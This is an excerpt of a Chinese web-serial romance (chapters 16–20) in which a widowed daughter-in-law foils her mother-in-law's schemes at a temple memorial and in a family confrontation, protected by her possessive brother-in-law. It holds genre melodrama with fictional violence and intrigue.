苏亦姝看着程丽梅那张青红交替的脸,她的目的已经达到。
第十六章 佛前泣诉,他来了
大殿内,檀香幽冷,法事正到了最肃穆的时刻。
方才偏殿的那场“野猫惊魂”虽被苏亦姝三言两语揭过,但在座的几位名流居士都是人精,看向程丽梅的眼神已然带了几分探究。
程丽梅咬碎了银牙往肚子里咽,跪在陆钦牌位前,哭得肝肠寸断。
“我苦命的儿啊,妈来带你看最后一眼……”
话音未落,诡异的事情发生了。
原本燃得极旺的两盏长明灯,竟在无风的大殿内瞬间熄灭。紧接着,“砰”的一声脆响,供桌上那尊象征陆钦身份的紫檀木牌位,竟从正中间裂成了两半!
“阿钦!”程丽梅发出一声凄厉的尖叫,整个人扑在供桌上,“怎么回事?我的儿啊……是谁,让你在下面都不得安生,竟连牌位都受不住了……”
她一边哭,一边拿余光狠辣地剐向苏亦姝。她本想借此机会大做文章,说苏亦姝是不祥之人,冲撞了亡魂。
可苏亦姝比她更快。
苏亦姝“扑通”一声跪倒在地,膝盖撞击青石板的声音沉重扎实。
她红着双眼,泪珠如同断了线的珍珠,顺着清冷的脸颊滑落,声音破碎却字字清晰。
“阿钦,你是不是有话要说?我知道……你是怜惜我,心疼我,怕我一个人在这世上受欺负。可你曾经说过,妈会视我如己出,让我凡事多忍让,所以,你不用担心……”
程丽梅准备好的那句“丧门星”生生卡在喉咙里,面色僵硬得如同涂了一层厚蜡。
她看向惠恩大师,语气急促。“大师,这是怎么回事?我儿的牌位,怎么会好端端裂成两半?”
惠恩大师捻着佛珠,眉心紧锁。
“阿弥陀佛,因果轮回,皆有定数。陆少夫人,方才你在偏殿时,对亡者说了什么?”
苏亦姝一脸呆滞,纤细的身子微微发颤,仿佛被吓坏了。
“我只是拿着阿钦的牌位,絮叨着最近发生的家常事……”
“都说了什么?”惠恩大师追问。
“说了……”苏亦姝飞快地看了程丽梅一眼,又受惊般地低下头,声音虽小,却足以让在场所有人听见。
“说婆婆听信了外人的谗言,误会了我,闹得爷爷不高兴,还削了婆婆的掌家权。我求阿钦保佑婆婆早日清醒,别再被小人蒙蔽……”
这话一出,殿内那几位望江市的居士纷纷交换了一个眼色。原来陆家大房丢了掌家权,是因为婆婆听信谗言?
程丽梅气得胸口起伏,正要发作,苏亦姝又哽咽着补了一刀。
“我还说……婆婆在你的葬礼上,带着苏可人威胁我,让我交出你留下的遗产……阿钦,你是不是因为这个才生气的?你放心,妈只是这一时糊涂,她心里还是疼我的……”
“够了!苏亦姝,你诚心的是不是!”程丽梅终于维持不住那副“慈祥婆婆”的伪装,猛地站起身,眼神里的厌恶与愤怒几乎要化为实质,“这种私房话,你竟敢在佛祖面前胡言乱语!”
苏亦姝抬头,满脸无辜与委屈,泪水盈盈。
“妈,是大师问我,我才敢说的……佛祖面前不敢妄言。我怕不说出来,阿钦的心结解不开,他走得不安稳啊……”
周围人看向苏亦姝的眼神里,瞬间充满了同情。
一个新寡的儿媳,在葬礼上被婆婆带小三逼宫,现在还要被逼着承担“牌位开裂”的罪名,这陆家大房的手段,真是让人寒心。
就在这时,柯沁带着陆域出现在大殿门口。
陆域已经换了一身墨绿色的休闲装,手臂上的伤口用纱布精细地包扎过。
他看向程丽梅,眼神阴鸷中带着一丝狠厉,面上却做出一副关切模样。
“大伯母,大嫂,这是怎么了?牌位怎么坏了?”
程丽梅看到陆域,心里咯噔一下。她知道今天的局已经废了大半,但在这万佛寺还要过一夜。
“法事继续。”程丽梅咬牙切齿地坐回原位,“不急,这一夜……还长着呢。”
入夜,万佛寺旁的禅意酒店。
这里是寺庙为了招待贵客专门修建的,环境清幽,却也偏僻。
苏亦姝洗漱完,换上了一件高领的长袖睡裙,遮住了掌心的伤。
而此时,隔壁房间的程丽梅,正一脸阴沉地对着老管家吩咐。
“既然陆域那个废物指望不上,就让苏可人推荐的那个吴海岩动手。我要在那**的被子里放【如意散】,再把吴海岩放进去。等天一亮,我就带人进去捉奸,这次,我要让她无法继承阿钦的遗产,还要让她成为万人指!”
老管家点了点头,悄无声息地退了出去。
然而,老管家刚走出房门,就被一双戴着黑色皮手套的手猛地拽入暗影。
半个钟头后,吴海岩穿着一身服务生的衣服,摸索到了苏亦姝的房门口。
他眼神里闪烁着淫邪的光——可人是特别交代过,只要今晚办成了,他的那些债务一笔勾销,还能睡到江城第一名媛。
吴海岩拿出房卡,正要刷开房门。
“咔嚓”一声,走廊的灯瞬间熄灭。
一股浓烈的血腥味扑鼻而来,吴海岩还没来得及喊出声,后脑勺就被一个冰冷的硬物抵住了。
“大半夜的,走错门了吧?”
低沉的嗓音,在寂静的走廊里响起。
陆慎穿着一件黑色衬衫,领口散漫地解开两颗,整个人隐匿在黑暗中,唯有那双眸子,在月光下折射出令人胆寒的戾气。
“陆……陆慎?”吴海
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岩吓得浑身瘫软,扑通一声跪倒在地,“陆总饶命!是陆夫人……让我来的!”
陆慎没有废话,慢条斯理地从怀里掏出一块绣着苏字纹样的淡青色丝巾——那是白天苏亦姝用来给陆域勒伤口的丝巾,被他拿了回来。
他盯着那丝巾上的点点血迹,眼神逐渐变得疯狂。
“我的女人,也是你能肖想的?”
陆慎一挥手,阴影里闪出几个黑影,直接将吴海岩像死狗一样拖向了酒店后的林子里。
林子深处,陆域正被吊在一棵老槐树上,鼻青脸肿。
陆慎走过去,接过周轩递来的钢管,在掌心里掂了掂。
“砰!”
一声闷响,陆域发出一声凄厉的惨叫,腿骨应声碎裂。
“这一棍,是替我大哥教训你。”陆慎眼神阴鸷,紧接着又是一棍,“这一棍,是替我大嫂教训你。”
陆域疼得几乎昏死过去,涕泗横流。
“陆慎……你疯了……你居然为了一个寡妇打你堂哥!”
陆慎俯身,钢管抵在陆域的咽喉上,声音轻得让人毛骨悚然。
“陆域,记住,她不仅是你大嫂,更是我陆慎的命。再有下次,我让你连进陆家祠堂的机会都没有。”
“还有,回去该怎么说,不用我交代吧。否则,你在江北赌场的事情,我不介意跟老爷子谈谈……”
陆域原本还打算回去跟老爷子告状,听到这话,吓得一哆嗦。
“我我我知道……我自己招惹了人被打的……”
处理完这两个废物,陆慎折返酒店。
他站在苏亦姝的门前,指尖轻轻抚摸着那道门板。里面的人似乎已经睡熟了。
他从兜里拿出那条淡青色的丝巾,凑到鼻尖,深深吸了一口上面残留的清冷香气。
“苏亦姝,我该拿你怎么办……”
他自嘲地笑了笑,没有推门而入,而是像一尊雕像站在门口。
翌日清晨。
当程丽梅带着柯沁,一脸兴奋地敲响苏亦姝的房门,准备抓奸时。
房间里干干净净,苏亦姝正坐在梳妆台前,慢条斯理地梳着长发。
而程丽梅派出的老管家、吴海岩,通通消失不见了。
“妈,早啊。”苏亦姝转过头,神色不解,“您在找什么?”
程丽梅面色狐疑……
“没,没事,就是来看看你……”程丽梅敛了神色,说道:“要是休息好了,我们就回去吧。”
柯沁对程丽梅一大早叫她过来的举动,觉得莫名其妙。
倒是自己儿子,一大早不见人影,去哪了?
柯沁心里有些不安。
就在这个是,陆子谦的电话打来了。
“阿域被人打伤了,现在人在医院,你赶紧回来!”
第十七章 暗流涌动
万佛寺的清晨,晨雾蒙蒙,透着骨子里的凉意。
柯沁接完电话,尖叫一声,连行李都顾不得收,疯了似地冲下山。
程丽梅僵在原地,脸色青白交替。她派出去的老管家和吴海岩生不见人死不见尸,而原本作为“帮手”的陆域竟然被人废了?
这万佛寺,难道真的有陆钦的冤魂在盯着她?
苏亦姝慢条斯理地将最后一缕鬓发别至耳后,起身走到程丽梅面前,目光如炬。“妈,二叔平时最疼陆域,要是让他知道陆域是因为跟着您来万佛寺才出的事,恐怕这笔账,不好算呢。”
“苏亦姝,是你对不对?”程丽梅压低声音,五指死死掐进掌心。
“妈抬举我了,我昨晚一直待在房间里。更何况,我哪有那个本事能伤陆域!”苏亦姝冷笑一声,拎起包越过她,径直走出了房门。
回程的路上,苏亦姝坐在车子里,皱着眉头。
陆域怎么受伤了??昨天见他不是还好好的?怎么一个晚上?
难不成,昨晚去做什么事情了?
搞不好是这样……
苏亦姝也松了口气,这次的万佛寺,总算该结束了。
可能是因为昨晚一直神经紧绷没睡好;也可能是这两天太累了。
上车没过多久,便睡着了……
迷迷糊糊间,感觉自己身子腾起了下,紧接着,落入一个温暖的怀抱。呢喃了一声,然后调整了个姿势,又继续睡了起来。
苏亦姝这一觉睡得极沉。当她在自己公寓的床上睁开眼,入目是昏暗而温馨的灯光,她整个人如梦初醒,猛地坐起了身。
“我怎么回来的?”
她低声呢喃,记忆只停留在回程的车上。那时她实在太累了,神经紧绷到极致后的坍塌让她失去了所有的戒备。
苏亦姝下意识地抬起左手,却发现掌心那道昨晚为了自清而狠心划出的血口,已经被仔细地处理过了。
伤口覆着薄薄的医用纱布,鼻尖凑近,还能闻到一股淡淡的、极昂贵的药草清香。
走出卧室,看到海绵正在餐厅忙活。
“苏总,您醒啦!陆总……哦不,您那位小叔子交代过,您醒了得先喝碗热粥暖胃。”海绵笑嘻嘻地端出托盘,“他人真好,就是气场太吓人了,昨晚抱着您进来的时候,那眼神像是要**,我愣是没敢大喘气。”
苏亦姝指尖微微一颤。抱着她进来的?
陆慎那个疯子,在那晚的耳光和争吵后,竟然就那样一路把她抱了回来,甚至趁着她沉睡,细致地给她的伤口上了药?
这种无声的掌控感,让苏亦姝心中升起一抹难以言说的复杂。
次日,苏氏分公司。
苏亦姝坐在电脑前,看着屏幕上显示的股权占比图,红唇微勾。
借着陆慎在暗处推波助澜的“势”,那些老董事手里的散股已经尽数落入她的囊中。
就在这时,苏振东的电话咆哮而至。
“苏亦姝!你把你妈送去瑞士,居然不经过我的同意!你眼里还有没有我这个父亲?”
苏亦姝靠在椅背上,修长的指甲轻轻叩击着桌面,冷笑一声。
“爸,如果您能抽出骂我的时间,多关怀一下在重症监护室的妈妈,或许我会有兴趣听您谈‘尊重’。您现在这么急,是怕没了这张牌,以后拿捏不住我了吧?”
“混账!”苏振东气急败坏。
苏亦姝挑眉,笑得玩味。不等苏振东继续说话,苏亦姝直接挂断了电话。
傍晚,陆家老宅。
大厅内气氛压抑得令人窒息。
陆老爷子坐在主位上,面沉如水。一
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旁,柯沁哭得双眼红肿,陆子谦则脸色铁青,恨不得将全屋的人都活剥了。
“大嫂!阿域是跟着你去万佛寺给阿钦祈福,在那边竟然被人打断了腿!”陆子谦猛地拍案,“你今天不给我个交代,这事没完!”
程丽梅气的胸口起起伏伏,不断地拿眼横向刚刚进门的苏亦姝。
“亦姝,你说,万佛寺到底发生了什么?”老爷子威严的声音响起。
苏亦姝不卑不亢地走上前,微微颔首,声音清冷而从容。
“爷爷,前天晚上妈在大殿给阿钦做法事,由于长明灯无故熄灭,牌位开裂,大殿内乱成一团。妈说她梦见阿钦不安生,心里受了惊吓,便一直在佛前忏悔。”
“那阿域呢?”老爷子皱眉。
“二弟似乎是想替阿钦分忧,说要去偏殿那边查看有没有野猫冲撞了佛像。”苏亦姝面不改色,语气极其自然,“之后我就没见过他了。我也很奇怪,二弟怎么会无缘无故被人打断了腿????难道……是阿钦真的觉得有人惊扰了他的清净?”
这话说得模棱两可,却把一切推向了虚无缥缈的“报应”。
陆域当然不敢说他在偏殿想强迫嫂子,否则老爷子第一个打死他。
陆子谦夫妻俩即使知道有猫腻,由于没抓住苏亦姝的把柄,只能打落牙齿和血吞。
“荒唐!”陆子谦气得发抖。
“够了。”
就在这时,一道沉稳的脚步声从门口传来。
陆慎穿着一身墨色西装,周身笼罩着一股令人望而生畏的杀伐气。
他径直走到苏亦姝身边站定,目光冷冷地扫过陆子谦,随后看向老爷子。
“爷爷,二哥在江北赌场欠了三千万,债主追到了万佛寺。这件事,需要我把账本摆到桌面上来谈吗?”
第十八章 各方涌动,小有成就
陆慎一开口,整个大厅瞬间死寂。
这一句话,犹如平地惊雷,震得陆子谦夫妇差点魂飞魄散。
陆家最重家声,陆域在兄长祭祀期间**输钱还引来债主,这不仅是丢脸,更是断了他在老爷子心中继承家业的最后一点可能。
陆子谦方才那股兴师问罪的嚣张气焰瞬间熄灭,嗫嚅着张了张嘴,半晌挤不出一个字。
陆慎转过头,在众人视线的死角里,他的大手极其自然地垂下,精准地握住了苏亦姝藏在袖中微微颤抖的左手。
他粗粝的指腹隔着单薄的纱布,在那道伤口的位置轻缓地摩挲了两下。
那力道很轻,却烫得苏亦姝心尖一颤。
她下意识想缩回手,他却微微用力,霸道地扣住,直到感受到她身体不再紧绷,才不着痕迹地松开。
“爷爷,大嫂这两天为了大哥的法事操劳过度,脸色不太好。既然二哥的事已经清楚了,不如让她先回去休息。”
陆慎的声音依旧清冷,听不出半分私情,全然一副公事公办的模样。
老爷子摆了摆手,神色疲惫而厌恶:“去吧。陆域这个畜生,等他能下地了,直接送到祠堂关三个月!”
苏亦姝走出老宅大厅时,夜风微凉。
她走得极快,仿佛身后有洪水猛兽。
她知道,此时程丽梅的眼睛正死死盯着她的背影,而陆子谦夫妇也一定会派人暗中观察她的动向。
接下来的几天,江城看似风平浪静,实则暗流汹涌。
陆慎像是从她的世界里消失了一样,没打过一通电话,也没发过一条短信。
唯独每天清晨,海绵都会带回一盒温热的药膏和一份精确到克数的补身膳食。
“苏总,这些药膏的牌子我查不到,但效果奇好,您手上的疤痕都要看不见了。”海绵一边收拾桌子,一边感叹。
苏亦姝看着掌心的伤口已经愈合,只剩下一道极浅的红痕。
她心里明白,这是陆慎在用他的方式告诉她:他在看着她,无时无刻。
然而,程丽梅并不会因为一次失败就收手。
由于陆域的事情,大房和二房之间生出了巨大的嫌隙,程丽梅不仅失去了管家权,这次还因为万佛寺的事情惹得一身骚。
她把这一切的账,全算到了苏亦姝头上。
老宅书房内,程丽梅正对着佛龛摩挲着那串开过光的檀香木珠。
原本是修身养性的时刻,老佣人的一句“苏可人胎像异常”却像是一记重锤,砸碎了她伪装出来的宁静。
“医生说……可能是基因问题,需要进一步排查。”老佣人的声音很轻,却带着让程丽梅背脊发凉的寒意。
程丽梅猛地睁开眼,阴鸷的目光在幽暗的室内闪过。
她这辈子最大的筹码就是陆钦,在陆钦死后,苏可人肚子里的那个“遗腹子”就成了她重回权力中心的重要旗帜。
她绝不允许在这上面出任何纰漏。
一年前,陆钦坚持要娶苏亦姝,程丽梅曾百般阻挠。她特地了解过苏亦姝,那个女人外柔内刚,骨子里带着一股不服输的狠劲,这样的女人,只能当陆家的装饰品,绝不能当陆家的掌权人。
所以,她故意扶持了卑贱、贪婪却好控制的苏可人,甚至亲手导演了那场荒唐的“床上戏”,为的就是在苏亦姝和陆钦之间扎下一根拔不出来的刺。
“备车,去医院。”程丽梅起身,动作里带着一股孤注一掷的狂躁,“还有,打电话给苏亦姝,让她给我到医院来!”
此时的苏氏分公司,会议室内的气氛却与老宅截然不同。
苏亦姝一袭深灰色职业套装,长发利落地扎在脑后,整个人透着股上位者的冷冽。
海绵推门进来,在苏亦姝耳边低语了几句。
苏亦姝听完,连眉头都没皱一下,只是对着电话那头冷冷地回了三个字:“没时间。”
这种毫不遮掩的拒绝,直接通过电波传到了程丽梅耳中。
老宅内,程丽梅气得直接扫落了**架上价值千万的白瓷花瓶,碎片溅了一地。
会议结束后,海绵拿着总部新送来的报表,气得脸都红了。
“苏总,总部那边简直是明抢!这三个医疗项目是我们拿命跑出来的,他们现在一
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开口就要上交百分之七十的净利润?他们怎么不去**?”
苏亦姝接过报表,随意扫了一眼,便将其扔进了一旁的碎纸机。
“他们要,我们就给吗?”苏亦姝慢条斯理地端起咖啡,语气平淡得像是在谈论今天的天气,“苏振东现在急了,苏氏总部的资金缺口越来越大,他这是想把我们分公司当成他的血库。”但可惜,现在的血库,他不是苏振东的了。
她抬眸看向海绵,眼底藏着锋芒。
“告诉财务,账目做漂亮点。上交是会交的,但交多少,得看我们公司这个月‘亏损’了多少。剩下的钱,全部拨入员工福利基金。今晚江楼请客,奖金月底翻倍。”
“苏总威武!”海绵欢呼雀跃地跑了出去。
苏亦姝看着窗外繁华的江景,眼底却毫无暖意。她知道,程丽梅让她去医院,绝非不是什么好事,好事也轮不到她头上来。
傍晚,江楼。
这一带是江城最繁华的销金窟,夜色被霓虹映得半明半媚。
苏亦姝刚踏入江楼的那一刻,顶层至尊包厢的陆慎就收到了消息。
“陆总,大少夫人在那边开庆功宴。”周轩低声汇报。
陆慎摇晃着手中的威士忌,冰块撞击杯壁,发出一声冷冽的脆响。
他并没有立刻起身,只是走到落地窗前,居高临下地看着那个从车上下来的纤细身影。
这几天,他一直派人暗中盯着她。
他知道她掌心的伤口已经愈合,知道她雷厉风行地收回了分公司的股权,也知道这个女人心冷得像万年不化的冰。
用了他的药,受了他的护佑,竟然真的一条短信、一个电话都没有。
“没良心的女人。”陆慎盯着她的背影,喉结滚了动,眼底满是偏执的暗火。
楼下宴会厅,气氛热烈。
苏亦姝应付完下属的敬酒,推说不胜酒力,先让海绵带着大家撤了。她独自一人站在江楼门口,正等着泊车员将车开过来。
晚风微凉,吹散了她身上的一点酒气。
“哟,这不是陆家那位‘守活寡’的大嫂吗?”
第十九章 一波未平一波又起
一道轻佻且充满恶意、带着浓重酒气的声音从身后传来。
苏亦姝皱眉转过身,看到几个醉醺醺的年轻男人勾肩搭背地走过来。
为首的那人,正是洪家的小儿子洪天城。
洪家在江城算是有头有脸,而这洪天城更是程丽梅娘家侄子程瑞的死党,平日里没少听程家人羞辱苏亦姝。
“洪少,慎言。”苏亦姝声音清冷,面色如霜。
“慎言?”洪天城打了个酒嗝,放肆地打量着苏亦姝那张绝色的小脸,目光落在她曼妙的身段上,眼底满是垂涎。
“陆钦都**这么久了,你在这儿装什么贞洁烈女?程瑞都跟我说了,你在陆家过得跟狗似的。不如跟了哥哥我,哥哥保证让你这小寡妇尝尝什么叫真正的滋味……”
说着,洪天城一脸淫笑地伸出右手,眼看就要碰到苏亦姝的下巴。
苏亦姝目光一寒,刚准备后退避开,只听一声疾如寒风的破空声!
“啊——!!!”
一声凄厉到扭曲的惨叫响彻江楼门口。
洪天城的手还没碰到苏亦姝的一根发丝,整个人就由于一股巨大的外力猛地跪倒在地,他的右手腕以一种诡异的弧度向后折断,骨裂的声音在寂静的夜里清晰可闻。
“哪只手想碰她?”
一道低沉得冷如冰的声音响起。
陆慎不知何时已经站在了苏亦姝身前,他背对着她。
他脚尖微微用力,死死踩在洪天城断裂的手腕上,慢条斯理地碾压着。
“陆……陆慎!你怎么……”洪天城疼得满面通红,冷汗直流,“我可是程瑞的朋友,是陆夫人的……”
“陆夫人?”陆慎冷嗤一声,眼底是滔天的戾气,“在这江城,陆夫人这三个字救不了你的命。我陆慎要废的人,谁敢拦?”
他腿上猛地发力,只听“咔嚓”一声,洪天城直接疼得昏**过去。
跟在洪天城身后的几个富二代早已吓得瘫软在地,陆慎是什么人?那是江城说一不二的活阎王,动一动手指头就能让他们倾家荡产。
“滚。”
陆慎吐出一个字,那几个人连滚带爬地拖着洪天城消失在夜色中。
直到此时,陆慎才转过身,目光如刃地看向苏亦姝。
他看着这个冷心冷情的女人,视线落在她被晚风吹乱的发丝上,心里的那股无名火烧得更旺。
“苏亦姝,你是死的吗?这种货色也敢让你停下脚步?”
陆慎一步步逼近,将她按在江楼大门的石柱上,语气森然。“还是说,你真的很享受被这种垃圾盯着的感觉?”
苏亦姝仰起头,看着他那张因为愤怒而越发张扬俊美的脸,突然开口:“陆慎,你一直在跟踪我。”
陆慎冷哼一声,大手再次覆上她那道已经长出新肉的掌心,指尖带着粗粝的触感划过,语调卑微而偏执。
“盯着你?你还真能高抬自己!你这种冷石心肠的女人,也配让我浪费时间?”
苏亦姝被他抵在石柱上,后背是冰冷的石材,身前却是男人滚烫且充满侵略性的胸膛。
她没有挣扎,只是垂眸看了一眼陆慎那只正死死扣着她左手的大手,随后抬起眼帘,目光清冷地直视着他那双满是戾气的眸子。
“不配让你浪费时间?”苏亦姝嘴角勾起一抹极淡的嘲讽,语气平静得像是在谈论今天的天气,“那陆总是打算把我的手骨也捏碎,好像刚才那个洪天城一样吗?”
陆慎呼吸一滞,像是被烫到了一般,手指猛地松了几分力道,却依旧没有放开。
他盯着眼前这张明明近在咫尺,却仿佛隔着千山万水的脸。
她太冷静了,冷静得让他觉得自己这几天的隐忍、暴躁、以及那深夜里像个偷窥狂一样送药的举动,都像是一个人的独角戏。
“苏亦姝,你的心是不是石头做的?”陆慎咬着牙,声音低哑得厉害,“那一盒药膏,价值连城。你用了,伤好了,连个谢字都没有?哪怕是一条短信,很难吗?”
“谢?”苏亦姝反问,眼神里终于有了一丝波动,“陆总希望我怎么谢?是以大嫂的身份去陆氏大楼给您送锦旗,还是像那晚一样,躺在您身下用身体谢?”
“闭嘴!”陆慎像是被戳中了痛处,猛地低头,额头狠狠抵住她的额头,呼吸粗重地喷洒在她的脸上,“别拿‘大嫂’这两个字来压我!你知道我从来不在乎这些条条框框!”
“我在乎。”苏亦姝声音虽轻,却字字珠玑,“陆慎,现在的局势你比我清楚。程丽梅盯着,二房盯着,苏振东也盯着。只要我不小心走错一步,这江城就没有我的容身之地。你的‘关注’,对我来说不是护身符,是催命符。”
她跟陆慎之间,必须断掉。她知道,一开始是自己主动,想要借他的手,借他的势……她不后悔!
但是,人都是自私的,总要为自己打算……
陆慎的身体僵住了。
他看着她眼底那一闪而过的疲惫与脆弱,心头的怒火瞬间被一股无力感浇灭。
他
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知道她说得对,但他就是控制不住自己。
“催命符……”陆慎自嘲地低笑一声,手指顺着她的手腕滑落,最终惩罚性地捏了捏她的指尖,“苏亦姝,你赢了。你总有办法让我觉得自己像个疯子。”
他松开对她的禁锢,后退半步,恢复了那副高高在上的冷漠姿态,只是那双眼依旧死死锁着她。
“上车。洪天城的事还没完,你以为废了他一只手,洪家就会算了?我不送你回去,你今晚连这江楼的停车场都走不出去。”
苏亦姝抿了抿唇,这次没有拒绝。
她知道陆慎说的是实话,洪家虽然不如陆家,但在江城也是出了名的难缠,尤其是洪天城那个护短的爹。
黑色的悍马如同暗夜里的幽灵,平稳地驶入主干道。
车厢内一片死寂,气压低得让人窒息。
苏亦姝偏头看着窗外**的霓虹,陆慎则单手扶着方向盘,另一只手烦躁地扯开了领口的两颗扣子,露出一片冷白的肌肤。
就在车子即将驶入苏亦姝公寓所在的街区时,一阵刺耳的手机铃声打破了沉默。
不是苏亦姝的,是陆慎的。
陆慎扫了一眼车载屏幕上的来电显示,眉头瞬间拧成了“川”字。
是陆家老宅的固话。
他按下接听键,开了免提。
“阿慎,你马上回老宅一趟!”陆老爷子的苍劲有力地声音在车厢内响起,伴随着拐杖重重敲击地面的声音,“洪家的人过来了说今晚在江楼你废了洪天城的手!”
苏亦姝脸色骤变。
“还有!”老爷子似乎气得有些喘不上气,“亦姝若是也在你身边,你们一起回来,回来解释清楚!”
电话被猛地挂断。
车厢内陷入了更深的死寂。
苏亦姝握紧了安全带,指节泛白。
洪天城的调戏或许只是偶然,但洪家发难,可能就不是那么简单的了。
“怕了?”
陆慎突然开口,声音里听不出情绪。他猛地打了一把方向盘,车身在路口画出一个凌厉的弧度,直接调头冲向陆家老宅的方向。
“身正不怕影子斜。”苏亦姝强作镇定。
陆慎侧目看了她一眼,嘴角勾起一抹残忍而狂妄的弧度。
“苏亦姝,待会儿进了那个门,不管谁问,你只需要记住一句话。”
陆慎踩下油门,引擎发出野兽般的轰鸣。
“人是我废的,祸是我闯的。你苏亦姝,是我陆慎罩着的。我看今晚谁敢动你一根头发。”
第二十章 借力打力,自找麻烦
陆家老宅,大厅内灯火通明。
洪家夫妇带着几个保镖坐在客座,陆子谦和柯沁坐在一旁,脸上挂着那一贯的看戏神情,甚至时不时还要在那火堆里添上一把柴。
程丽梅则端坐在另一侧,面容冰冷,手中那串佛珠转得飞快,泄露了她此刻内心的不宁。
洪天城的父亲洪齐宝一脸横肉都在抖动,但在面向陆老爷子的时候,还是强压着怒火收敛了几分。
“陆老爷子,我家天城纵然有千般不是,也不至于遭此毒手!陆总硬生生折断我儿的手腕不说,还当众把骨头踩碎,这是要把我们要洪家的脸面踩在地上摩擦啊!这手段,何其残忍!”
洪夫人更是哭得梨花带雨,红着眼眶控诉。“我家天城虽然顽皮了些,但他是程家侄子程睿的好朋友,两孩子从小一起玩到大。看在程夫人的面子上,跟陆家也算是世交。陆总这下手……医生说了,那手腕粉碎性骨折,以后哪怕接好了也是个废人!”
坐在一旁的陆子谦,嘴角几不可察地勾了勾。
他正愁没理由发作,自家儿子陆域还在医院躺着,虽然陆域不敢说是谁干的,但他陆子谦不傻,这江城除了陆慎,谁敢动陆家的人?
“爸,阿慎这次下手,确实是太没轻重了……”陆子谦故作惋惜地叹气,刚想继续拱火,却被老爷子一记凌厉的眼刀吓得缩了回去。
陆老爷子虽已年迈,但那股虎威犹在。
他看向洪齐宝,声音沉稳有力。“洪先生,稍安勿躁。我家阿慎行事虽独特了些,却从不无的放矢。等他来了,一问便知。”
“能有什么缘由?不就是我家天城跟那个苏亦姝说了几句话吗?”洪齐宝怒极反笑,口不择言,“不知道的,还以为那苏亦姝不是陆家大嫂,而是他陆慎藏在心尖上的老婆呢,碰都碰不得!”
“砰!”
程丽梅猛地一拍桌子,茶盏震得叮当响。“洪先生!饭可以乱吃,话不能乱讲!”程丽梅厉声呵斥,脸色铁青。
洪夫人自知失言,连忙找补:“程姐姐,老洪他是气急了……但他说的也是实话,那陆慎为了大嫂把人打成这样,这传出去……”
大厅内的空气瞬间凝固。陆子谦和柯沁对视一眼,眼底的精光简直藏不住。
这要是能坐实了叔嫂有染的罪名,那陆慎和苏亦姝,都得被老爷子逐出家门!
“我做事,需要跟你解释?你算什么东西!”
一道裹挟着寒霜的声音传来。陆慎一身黑色大衣,带着一身夜色的肃杀大步迈入。
苏亦姝跟在他身侧半步的位置,神色清冷,脊背挺得笔直。
两人并肩而立,一黑一白,竟透着股说不出的契合与压迫感。
程丽梅看着这一幕,眼皮狠狠跳了两下,心底那股不安愈发浓烈。
陆慎径直走到主位旁,并未落座,而是居高临下地看着洪齐宝,眼底满是轻蔑。
“洪齐宝,你刚才说什么?再说一遍。”
洪齐宝被那眼神盯得浑身一僵,刚才的气势瞬间泄了一半,但仗着老爷子在场,还是硬着头皮道:“陆总,你废了我儿子一只手,总得给个说法!苏亦姝不过是被调侃两句,你至于……”
“周轩。”陆慎懒得听他废话。
身后的助理周轩立刻上前,将一个平板电脑连接到了大厅的投影仪上。
“既然洪总觉得令郎只是‘调侃’,那我们就让大家听听,洪少爷的‘调侃’有多精彩。”
陆慎嘴角勾起一抹残忍的弧度,目光却是有意无意地扫向程丽梅。
大屏幕亮起,监控画面清晰地播放着江楼门口的一幕。
视频里,洪天城那张醉醺醺的脸被放大,那充满羞辱的声音在安静的大厅里回荡。
“哟,这不是陆家那位‘守活寡’的大嫂吗?”
“洪少,慎言。”
“慎言?”
“陆钦都**这么久了,你在这儿装什么贞洁烈女?程瑞都跟我说了,你在陆家过得跟狗似的。不如跟了哥哥我,哥哥保证让你这小寡妇尝尝什么叫真正的滋味……”
随着那句“程瑞都跟我说了”响起,程丽梅的脸瞬间煞白,整个人如遭雷击,僵在椅子上动弹不得。
程瑞,是她娘家最疼爱的侄子,平日里跟她走得最近。
这话从洪天城嘴里说出来,等于直接告诉所有人:是她程丽梅在娘家散布谣言,羞辱自家守寡的儿媳妇!
“啪!”
陆老爷子手中的茶杯狠狠摔在地上,碎片四溅。
“程丽梅!这就是你教出来的好侄子?这就是你的好亲戚?”老爷子气得胡子都在抖,“陆家的大少夫人,在他们嘴里就是这种不堪的形象?你这个婆婆就是这么当的?!”
程丽梅慌了,扑通一声差点跪在地上。“爸!我没有……是程瑞那孩子胡说八道!我怎么可能……”
心里则是对洪家夫妇的气愤,竟然没跟她说这一茬!
其实,她不知道的是,洪天城并未跟他们说这些……
“是不是胡说八道,你自己心里清楚。”苏亦姝适时开口,声音不大,却冷得彻骨,“妈,我在陆家过得怎么样,原来您在娘家就是这么宣传的。难怪洪少爷敢在大庭广众之下对我动手动脚,原来是觉得,哪怕侮辱了我,也有您和程家给他撑腰。”
这一顶大帽子扣下来,程丽梅简直百口莫辩,她恶狠狠地瞪向苏亦姝,恨不得冲上去撕烂她的嘴,但在老爷子的盛怒下,她只能低头颤抖。
陆慎冷眼看着这一场闹剧,转头
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看向早已面如土色的洪齐宝夫妇。
“洪总,看清楚了吗?你儿子当众羞辱陆家遗孀,甚至企图**。我废他一只手,是替陆家立规矩。”
陆慎一步步走到洪齐宝面前,微微俯身,那是绝对上位者的碾压姿态。
“还是说,洪总觉得,我应该把他送到警局,告他一个**罪,顺便让全江城的人都看看,你们洪家和程家,是怎么联手欺负一个寡妇的?”
洪齐宝额头上的冷汗如雨下。
这视频要是流出去,洪家的名声臭了不说,还会彻底得罪陆老爷子。更重要的是,陆慎这副要**的架势,根本不是在讲理!
“陆……陆总,误会……都是误会!”洪齐宝哆哆嗦嗦地站起来,“是我教子无方!那逆子该打!该打!”
“既然该打,那就带着你的人,滚。”陆慎直起身,指了指大门,“再让我听到洪家有一个字的不满,明天日落之前,我有的是办法让洪家从江城消失。”
洪齐宝夫妇心里纵然气愤,但此时也是他们无理。哪里还敢多留,连句狠话都不敢放,灰溜溜地带着人狼狈逃窜。
大厅内,终于清静了。
但气氛却比刚才更加凝重。
陆子谦见风向不对,也不敢再提陆慎和苏亦姝的关系,只能缩在一边装死。
陆老爷子疲惫地揉了揉眉心,看了一眼跪在地上的程丽梅,眼中满是失望。
“丽梅,从今天起,你就在佛堂静修吧,没有我的允许,不准迈出老宅半步。至于程家那边……我不希望再听到任何关于亦姝的闲言碎语。”
程丽梅指甲深深嵌入肉里,低着头,声音嘶哑。“是,爸。”
她输了。输得彻底。不仅没能借刀**,反而被苏亦姝和陆慎联手,借着洪天城的蠢,狠狠打了她的脸。
“亦姝,受委屈了。”老爷子叹了口气。
